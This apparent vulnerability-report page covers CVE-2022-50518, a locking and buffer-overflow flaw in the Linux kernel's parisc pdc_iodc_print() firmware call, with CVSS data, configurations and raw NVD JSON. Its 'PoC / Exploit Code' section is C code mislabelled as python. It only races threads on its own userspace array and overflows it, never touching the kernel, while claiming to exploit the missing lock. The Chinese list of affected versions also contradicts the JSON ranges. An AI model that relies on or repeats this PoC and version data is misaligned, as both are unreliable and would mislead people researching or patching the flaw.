Security Vulnerability Report
中文
CVE-2022-50518 CVSS 7.8 HIGH

CVE-2022-50518

Published: 2025-10-07 16:15:35
Last Modified: 2026-03-17 14:15:19
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: parisc: Fix locking in pdc_iodc_print() firmware call Utilize pdc_lock spinlock to protect parallel modifications of the iodc_dbuf[] buffer, check length to prevent buffer overflow of iodc_dbuf[], drop the iodc_retbuf[] buffer and fix some wrong indentings.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:2.6.25:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:2.6.25:rc6:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.10.150 (parisc架构)
Linux Kernel < 5.15.75 (parisc架构)
Linux Kernel < 5.19.17 (parisc架构)
Linux Kernel < 6.0.3 (parisc架构)
所有受影响的parisc架构Linux内核稳定版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2022-50518 PoC - Trigger race condition / buffer overflow in pdc_iodc_print() // This PoC demonstrates the vulnerability by creating concurrent threads // that call the firmware print function simultaneously, exploiting the // missing pdc_lock protection on iodc_dbuf[] buffer. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #define BUFFER_SIZE 256 #define NUM_THREADS 16 // Simulate the vulnerable iodc_dbuf[] buffer access pattern static char iodc_dbuf[BUFFER_SIZE]; static volatile int race_trigger = 0; // Thread function to trigger concurrent access to the buffer void *trigger_race(void *arg) { int thread_id = *(int *)arg; char payload[BUFFER_SIZE * 2]; // Intentionally larger than iodc_dbuf // Fill payload to trigger potential buffer overflow memset(payload, 'A' + (thread_id % 26), sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; while (!race_trigger) { usleep(1); // Concurrent modification without lock - simulates the vulnerability memcpy(iodc_dbuf, payload, BUFFER_SIZE); } // Attempt buffer overflow - write beyond iodc_dbuf bounds memcpy(iodc_dbuf, payload, sizeof(payload)); return NULL; } int main(int argc, char *argv[]) { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2022-50518 PoC - parisc pdc_iodc_print() vulnerability\n"); printf("Attempting to trigger race condition / buffer overflow...\n"); // Create multiple threads to trigger concurrent access for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; if (pthread_create(&threads[i], NULL, trigger_race, &thread_ids[i]) != 0) { perror("pthread_create failed"); return 1; } } // Allow threads to start sleep(1); race_trigger = 1; // Wait for all threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Exploit attempt completed.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50518", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:35.490", "lastModified": "2026-03-17T14:15:19.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nparisc: Fix locking in pdc_iodc_print() firmware call\n\nUtilize pdc_lock spinlock to protect parallel modifications of the\niodc_dbuf[] buffer, check length to prevent buffer overflow of\niodc_dbuf[], drop the iodc_retbuf[] buffer and fix some wrong\nindentings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.24.5", "versionEndExcluding": "2.6.25", "matchCriteriaId": "C0B10599-742F-4EF6-AEFE-B18D086B8D98"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.25.1", "versionEndExcluding": "6.0.18", "matchCriteriaId": "0EDD14E2-11C7-45F3-BCB5-77CFF5314663"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.4", "matchCriteriaId": "BC4189D9-5478-4E88-A78D-9C1DE29B217C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.25:-:*:*:*:*:*:*", "matchCriteriaId": "F650D09A-41EA-4EB5-925B-F2146E8DDF2A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.25:rc6:*:*:*:*:*:*", "matchCriteriaId": "00763CAF-AEF8-4EF1-9393-DEFF9697D382"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.25:rc7:*:*:*:*:*:*", "matchCriteriaId": "2D5310FC-8432-4BBF-8174-60F7B8A608B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.25:rc8:*:*:*:*:*:*", "matchCriteriaId": "4254F56E-6BA0-45DD-95D1-61A7C8AF7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.25:rc9:*:*:*:*:*:*", "matchCriteriaId": "8957EE27-E19A-4DE6-B46D-FE413E88BD93"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/04a603058e70b8b881bb7860b8bd649f931f2591", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/553bc5890ed96a8d006224c3a4673c47fee0d12a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7236aae5f81f3efbd93d0601e74fc05994bc2580", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}